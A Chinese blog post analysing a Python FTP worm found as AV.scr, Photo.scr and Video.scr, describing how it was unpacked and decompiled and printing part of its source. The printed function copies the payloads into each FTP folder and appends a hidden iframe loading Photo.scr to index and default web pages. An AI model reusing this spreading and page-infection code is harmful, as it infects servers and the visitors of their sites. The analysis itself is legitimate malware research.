欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

破解AV.scr、Photo.scr和Video.scr恶意软件的逆向工程分析

最编程 2024-02-22 19:26:27
...

最近几天上ftp服务器的时候,发现多了6个文件,是AV.scr、Photo.scr和Video.scr以及前三个的快捷方式,介于他们的md5都一样,所以我先用RH看下图标,发现是用Python写的,于是我就拿pyinstxtractor.py解包了,解包出来发现有一个叫ftpcrack的文件很可疑,所以把struct文件的前8个字节复制到这个文件的开头,然后用uncompyle6反编译

image

果不其然,源码反编译出来了(还带有中文注释)

image

大概原理就是利用密码表爆破密码,然后把自身上传上去到每个文件夹,然后启动xmrig矿机

这是一部分源码```

def getfile(self, ftp, path):
    global tmp
    global tmplnk
    ret = False
    try:
        ftp.cwd(path)
    except Exception as e:
        return 3

    if path[(-1)] == '/':
        path = path[:-1]
    try:
        self.uploadfile(ftp, path + '/Photo.scr', os.path.realpath(sys.argv[0]))  #上传Photo.scr到远程服务器
        ret = True
    except Exception as e:
        pass

    try:
        self.uploadfile(ftp, path + '/Video.scr', os.path.realpath(sys.argv[0])) #上传video.scr到远程服务器
        ret = True
    except Exception as e:
        pass

    try:
        self.uploadfile(ftp, path + '/AV.scr', os.path.realpath(sys.argv[0])) #上传AV.scr到远程服务器
        ret = True
    except Exception as e:
        pass

    try:
        self.uploadfile(ftp, path + '/Photo.lnk', tmplnk) #上传Photo.lnk到远程服务器
        ret = True
    except Exception as e:
        pass

    try:
        self.uploadfile(ftp, path + '/Video.lnk', tmplnk) #上传Video.lnk到远程服务器
        ret = True
    except Exception as e:
        pass

    try:
        self.uploadfile(ftp, path + '/AV.lnk', tmplnk) #上传AV.lnk到远程服务器
        ret = True
    except Exception as e:
        pass

    filelist = []
    filelist = ftp.nlst()
    for f in filelist:
        if f.find('.') < 0:
            path_a = ftp.pwd() + '/' + f
            listpath = list(path_a.replace('//', '/'))
            if listpath.count('/') > 2:
                continue
            rets = self.getfile(ftp, path_a.replace('//', '/')) #使用递归的方式把文件上传到每个文件夹
            if rets == 3:
                continue
            if rets == True:
                ret = True
            ftp.cwd('..')
        else:
            if f == '.':
                continue
            if f == '..':
                continue
            val = f
            if ftp.pwd().endswith('/'):
                ftpfname = ftp.pwd() + val
            else:
                ftpfname = ftp.pwd() + '/' + val
            try:
                if (val.lower().startswith('default') or val.lower().startswith('index')) and (val.lower().endswith('.html') or val.lower().endswith('.htm') or val.lower().endswith('.asp') or val.lower().endswith('.dhtm') or val.lower().endswith('.phtm') or val.lower().endswith('.xht') or val.lower().endswith('.mht') or val.lower().endswith('.htx') or val.lower().endswith('.stm') or val.lower().endswith('.shtm')): #找到所有关于网页的文件
                    ftplocalname = tmp + '\\' + ('').join(random.sample('zyxwvutsrqponmlkjihgfedcba', 5)) + val
                    self.downloadfile(ftp, ftpfname, ftplocalname) #下载下来
                    fp = open(ftplocalname, 'r') #打开下载下来的文件
                    strr = fp.read()
                    fp.close()
                    if strr.find('<iframe src=Photo.scr width=1 height=1 frameborder=0>') != -1: #如果文件被其他病毒修改修改
                        os.remove(ftplocalname) #删除文件
                        continue #继续循环
                    fp = open(ftplocalname, 'a+') #否则打开文件
                    fp.write('<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>') #把头部添加进去
                    fp.close()
                    self.uploadfile(ftp, ftpfname, ftplocalname) #上传文件到原来的地方
                    if os.path.exists(ftplocalname):
                        os.remove(ftplocalname)
            except Exception as e:
                pass

    return ret```